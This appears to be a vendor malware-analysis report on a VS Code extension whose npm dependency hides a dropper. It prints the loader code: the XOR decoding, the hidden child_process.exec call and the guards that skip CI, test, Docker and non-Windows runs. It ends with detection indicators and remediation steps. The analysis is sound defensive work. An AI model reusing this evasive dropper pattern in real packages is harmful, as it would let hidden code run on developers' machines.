Dropping Malware through Dependencies in VS Code: Inside the jsononifier npm Dropper
Developers have learned to read an extension’s own source before installing it. The ascii-fetcher.ascii-fetcher sample, caught by Argus on 2026-06-30, shows why that habit is no longer enough. The malicious behavior was not in the extension’s entry point. It was inside a dependency.
Executive Summary
- Extension:
ascii-fetcher.ascii-fetcher-1.0.0 - Malicious dependency:
@jaymara/jsononifier - Risk score: 85
- Marketplace: Open VSX
- Campaign status: isolated sample; retro-hunt found no siblings
The extension depends on @jaymara/jsononifier. When the extension activates, the dependency XOR-decodes an embedded command and runs it via child_process.exec with windowsHide. The decoded sample command is calc.exe; the real threat is the loader pattern, not the payload string.
Why the Vector Works
A dependency-based dropper exploits two assumptions:
- Users and scanners focus on the extension’s
extension.js. If that file is small, clean, and does nothing surprising, the extension looks safe. - Registries do not deeply inspect every npm dependency at upload time. A malicious npm package can sit in the public registry for days before anyone notices.
By moving the payload into a dependency, the operator separates the suspicious code from the extension that users actually evaluate.
Technical walkthrough
Activation
ascii-fetcher.ascii-fetcher is a minimal extension. Its extension/ext.js is only 1,090 bytes and does nothing on its own:
const vscode = require('vscode');
function activate(context) {
const cmd = vscode.commands.registerCommand('ascii-fetcher.fetch', () => {
require('@jaymara/jsononifier');
vscode.window.showInformationMessage('Package loaded!');
});
context.subscriptions.push(cmd);
// status-bar setup omitted
}
The command is bound to Ctrl+Shift+A, so a user who tests the extension immediately loads the dependency.
The Dependency Payload
The malicious logic lives in node_modules/@jaymara/jsononifier. index.js imports trigger.js, which gates execution and calls Executer.js:
// extension/node_modules/@jaymara/jsononifier/trigger.js
function trigger() {
const isCI = process.env.CI === 'true';
const isTest = process.env.NODE_ENV === 'test';
const isDocker = require('fs').existsSync('/.dockerenv');
const isWindows = process.platform === 'win32';
if (isCI || isTest || isDocker || !isWindows) {
return;
}
setTimeout(() => execute(), 5000);
}
process.nextTick(() => trigger());
The executor decodes the embedded command and runs it:
// extension/node_modules/@jaymara/jsononifier/Executer.js
function xorDecode(encoded, key) {
const result = Buffer.alloc(encoded.length);
for (let i = 0; i < encoded.length; i++) {
result[i] = encoded[i] ^ key[i % key.length];
}
return result.toString('utf8');
}
function execute() {
const encoded = getEncodedCommand();
const key = getXorKey();
const command = xorDecode(encoded, key);
const { exec } = require('child_process');
exec(command, { windowsHide: true }, (err, stdout, stderr) => { ... });
}
payload.js contains the XOR ciphertext and a comment that exposes the decoded command:
// XOR-encoded command – not visible in source
// Decoded at runtime: "calc.exe"
const encodedCommand = [0x1b, 0x0e, 0x1e, 0x08, 0x4b, 0x1c, 0x49, 0x57];
const xorKey = Buffer.from('xorkey123', 'utf8');
Decoding with xorkey123 gives calc.exe. In a real operator build the comment would be removed and the command would not be a calculator, but the decoder, key, and windowsHide execution pattern are the durable anchors.
Anti-Analysis Guards
The dependency checks for signs of automated analysis before running the final command:
process.env.CI === 'true'process.env.NODE_ENV === 'test'/.dockerenvexistsprocess.platform === 'win32'- five-second delay via
setTimeout
This is why many static scanners miss the behavior: the malicious branch only fires in a normal-looking Windows user environment. Argus’s behavioral cross-version and dependency-graph analysis caught it despite the guards.
Why it evades detection
| Defender assumption | What the sample actually does |
|---|---|
| The extension’s own code must be malicious | The entry point is clean; the dependency is not |
| A high download count or small size means low risk | The extension is tiny and unremarkable |
| Public npm packages are safe until reported | @jaymara/jsononifier was available at scan time |
CI/static analysis will catch child_process.exec |
The call is inside an obfuscated dependency, gated by anti-analysis checks |
What we are doing about it
Argus detects this family through @jaymara/jsononifier, the XOR-decoded buffer, and the hidden Windows command execution. The detection is anchored on the dependency identity and the runtime behavior, not on the extension’s surface code.
Retro-hunting the local artifact corpus and scan history for the same (dependency, xorkey123, Buffer.alloc, calc.exe payload comment) cluster returned zero additional matches, so this appears to be an isolated sample rather than a wide campaign. The dependency has since been removed from the public npm registry.
Remediation and recommendations
- Block
ascii-fetcher.ascii-fetcherand@jaymara/jsononifierat the registry or endpoint level. - Inspect dependency graphs, not just extension entry points. A clean top-level file is not enough evidence of safety.
- Pin or vendor dependencies for high-sensitivity internal extensions.
- Run extensions in restricted environments where
child_processand network access are gated.
Indicators
| Type | Value |
|---|---|
| Extension | ascii-fetcher.ascii-fetcher-1.0.0 |
| VSIX SHA-256 | f376a37e882a90c249a7c4fb1a9604b9ffa3eae180375c1d9770e38fff74f8f4 |
| Malicious npm package | @jaymara/jsononifier |
| Trigger file SHA-256 | 8d55164d4eaafbd0e4edddbaa3d734bb9fbbecac6c4276a8f545512d89b34f2c |
| Executer file SHA-256 | fc13b50ad0ec266ccaba7ced85315a10aa5fabc3a58eb21ca3415c21848e354d |
| Decoded command (sample) | calc.exe |
| XOR key | xorkey123 |
| Marketplace | Open VSX |
| Detection focus | @jaymara/jsononifier dependency + XOR-decoded buffer + hidden windowsHide exec |
| Behavioral anchors | XOR-decoded buffer, Buffer.alloc(encoded.length), windowsHide exec, anti-analysis guards |
The real lesson of jsononifier is that the payload does not have to live where anyone is looking. As long as registries scan only the extension wrapper, dependency-based droppers will stay attractive.